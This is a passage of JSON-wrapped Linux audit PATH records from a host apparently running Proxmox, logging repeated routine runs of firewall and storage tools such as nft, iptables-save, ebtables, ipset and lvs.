cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964835820,"@rawstring":"node=pve type=PATH msg=audit(1781964835.820:62853): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964835820,"@rawstring":"node=pve type=PATH msg=audit(1781964835.820:62853): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964835820,"@rawstring":"node=pve type=PATH msg=audit(1781964835.820:62852): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964835820,"@rawstring":"node=pve type=PATH msg=audit(1781964835.820:62851): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964835358,"@rawstring":"node=pve type=PATH msg=audit(1781964835.358:62850): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964835358,"@rawstring":"node=pve type=PATH msg=audit(1781964835.358:62850): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964835354,"@rawstring":"node=pve type=PATH msg=audit(1781964835.354:62849): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964835354,"@rawstring":"node=pve type=PATH msg=audit(1781964835.354:62849): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964835353,"@rawstring":"node=pve type=PATH msg=audit(1781964835.353:62848): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964835353,"@rawstring":"node=pve type=PATH msg=audit(1781964835.353:62848): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964835353,"@rawstring":"node=pve type=PATH msg=audit(1781964835.353:62847): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964835350,"@rawstring":"node=pve type=PATH msg=audit(1781964835.350:62846): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964835350,"@rawstring":"node=pve type=PATH msg=audit(1781964835.350:62846): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964835350,"@rawstring":"node=pve type=PATH msg=audit(1781964835.350:62846): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964835343,"@rawstring":"node=pve type=PATH msg=audit(1781964835.343:62845): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964835343,"@rawstring":"node=pve type=PATH msg=audit(1781964835.343:62845): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964835336,"@rawstring":"node=pve type=PATH msg=audit(1781964835.336:62844): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964835336,"@rawstring":"node=pve type=PATH msg=audit(1781964835.336:62844): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964835330,"@rawstring":"node=pve type=PATH msg=audit(1781964835.330:62843): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964835330,"@rawstring":"node=pve type=PATH msg=audit(1781964835.330:62843): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964835324,"@rawstring":"node=pve type=PATH msg=audit(1781964835.324:62842): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964835324,"@rawstring":"node=pve type=PATH msg=audit(1781964835.324:62842): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964835318,"@rawstring":"node=pve type=PATH msg=audit(1781964835.318:62840): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964835318,"@rawstring":"node=pve type=PATH msg=audit(1781964835.318:62840): item=0 name=\"/sbin/ebtables-restore\" inode=274520 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964835314,"@rawstring":"node=pve type=PATH msg=audit(1781964835.314:62839): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964835314,"@rawstring":"node=pve type=PATH msg=audit(1781964835.314:62839): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964835307,"@rawstring":"node=pve type=PATH msg=audit(1781964835.307:62838): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964835307,"@rawstring":"node=pve type=PATH msg=audit(1781964835.307:62838): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964835302,"@rawstring":"node=pve type=PATH msg=audit(1781964835.302:62837): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964835302,"@rawstring":"node=pve type=PATH msg=audit(1781964835.302:62837): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964835297,"@rawstring":"node=pve type=PATH msg=audit(1781964835.297:62836): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964835297,"@rawstring":"node=pve type=PATH msg=audit(1781964835.297:62836): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964835293,"@rawstring":"node=pve type=PATH msg=audit(1781964835.293:62835): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964835293,"@rawstring":"node=pve type=PATH msg=audit(1781964835.293:62835): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964835286,"@rawstring":"node=pve type=PATH msg=audit(1781964835.286:62834): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964835286,"@rawstring":"node=pve type=PATH msg=audit(1781964835.286:62834): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964835280,"@rawstring":"node=pve type=PATH msg=audit(1781964835.280:62833): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964835280,"@rawstring":"node=pve type=PATH msg=audit(1781964835.280:62833): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964835277,"@rawstring":"node=pve type=PATH msg=audit(1781964835.277:62832): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964835277,"@rawstring":"node=pve type=PATH msg=audit(1781964835.277:62832): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964835273,"@rawstring":"node=pve type=PATH msg=audit(1781964835.273:62831): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964835273,"@rawstring":"node=pve type=PATH msg=audit(1781964835.273:62831): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964835272,"@rawstring":"node=pve type=PATH msg=audit(1781964835.272:62830): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964835272,"@rawstring":"node=pve type=PATH msg=audit(1781964835.272:62830): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964835272,"@rawstring":"node=pve type=PATH msg=audit(1781964835.272:62829): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964835269,"@rawstring":"node=pve type=PATH msg=audit(1781964835.269:62828): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964835269,"@rawstring":"node=pve type=PATH msg=audit(1781964835.269:62828): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964835269,"@rawstring":"node=pve type=PATH msg=audit(1781964835.269:62828): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964835262,"@rawstring":"node=pve type=PATH msg=audit(1781964835.262:62827): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964835262,"@rawstring":"node=pve type=PATH msg=audit(1781964835.262:62827): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964835256,"@rawstring":"node=pve type=PATH msg=audit(1781964835.256:62826): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964835256,"@rawstring":"node=pve type=PATH msg=audit(1781964835.256:62826): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964835251,"@rawstring":"node=pve type=PATH msg=audit(1781964835.251:62825): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964835251,"@rawstring":"node=pve type=PATH msg=audit(1781964835.251:62825): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964835244,"@rawstring":"node=pve type=PATH msg=audit(1781964835.244:62824): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964835244,"@rawstring":"node=pve type=PATH msg=audit(1781964835.244:62824): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964835237,"@rawstring":"node=pve type=PATH msg=audit(1781964835.237:62823): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964835237,"@rawstring":"node=pve type=PATH msg=audit(1781964835.237:62823): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964834326,"@rawstring":"node=pve type=PATH msg=audit(1781964834.326:62822): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964834326,"@rawstring":"node=pve type=PATH msg=audit(1781964834.326:62822): item=0 name=\"/sbin/lvs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964834301,"@rawstring":"node=pve type=PATH msg=audit(1781964834.301:62821): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964834301,"@rawstring":"node=pve type=PATH msg=audit(1781964834.301:62821): item=0 name=\"/sbin/vgs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964830810,"@rawstring":"node=pve type=PATH msg=audit(1781964830.810:62820): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964830810,"@rawstring":"node=pve type=PATH msg=audit(1781964830.810:62820): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964830810,"@rawstring":"node=pve type=PATH msg=audit(1781964830.810:62819): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964830810,"@rawstring":"node=pve type=PATH msg=audit(1781964830.810:62818): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964830797,"@rawstring":"node=pve type=PATH msg=audit(1781964830.797:62817): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964830797,"@rawstring":"node=pve type=PATH msg=audit(1781964830.797:62817): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964830797,"@rawstring":"node=pve type=PATH msg=audit(1781964830.797:62816): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964830797,"@rawstring":"node=pve type=PATH msg=audit(1781964830.797:62815): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964825790,"@rawstring":"node=pve type=PATH msg=audit(1781964825.790:62814): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964825790,"@rawstring":"node=pve type=PATH msg=audit(1781964825.790:62814): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964825790,"@rawstring":"node=pve type=PATH msg=audit(1781964825.790:62813): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964825790,"@rawstring":"node=pve type=PATH msg=audit(1781964825.790:62812): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964825785,"@rawstring":"node=pve type=PATH msg=audit(1781964825.785:62811): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964825785,"@rawstring":"node=pve type=PATH msg=audit(1781964825.785:62811): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964825785,"@rawstring":"node=pve type=PATH msg=audit(1781964825.785:62810): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964825785,"@rawstring":"node=pve type=PATH msg=audit(1781964825.785:62809): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964825227,"@rawstring":"node=pve type=PATH msg=audit(1781964825.227:62808): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964825227,"@rawstring":"node=pve type=PATH msg=audit(1781964825.227:62808): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964825224,"@rawstring":"node=pve type=PATH msg=audit(1781964825.224:62807): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964825224,"@rawstring":"node=pve type=PATH msg=audit(1781964825.224:62807): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964825223,"@rawstring":"node=pve type=PATH msg=audit(1781964825.223:62806): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964825223,"@rawstring":"node=pve type=PATH msg=audit(1781964825.223:62806): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964825223,"@rawstring":"node=pve type=PATH msg=audit(1781964825.223:62805): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964825219,"@rawstring":"node=pve type=PATH msg=audit(1781964825.219:62804): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964825219,"@rawstring":"node=pve type=PATH msg=audit(1781964825.219:62804): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964825219,"@rawstring":"node=pve type=PATH msg=audit(1781964825.219:62804): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964825213,"@rawstring":"node=pve type=PATH msg=audit(1781964825.213:62803): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964825213,"@rawstring":"node=pve type=PATH msg=audit(1781964825.213:62803): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964825207,"@rawstring":"node=pve type=PATH msg=audit(1781964825.207:62802): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964825207,"@rawstring":"node=pve type=PATH msg=audit(1781964825.207:62802): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964825201,"@rawstring":"node=pve type=PATH msg=audit(1781964825.201:62801): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964825201,"@rawstring":"node=pve type=PATH msg=audit(1781964825.201:62801): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964825195,"@rawstring":"node=pve type=PATH msg=audit(1781964825.195:62800): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} 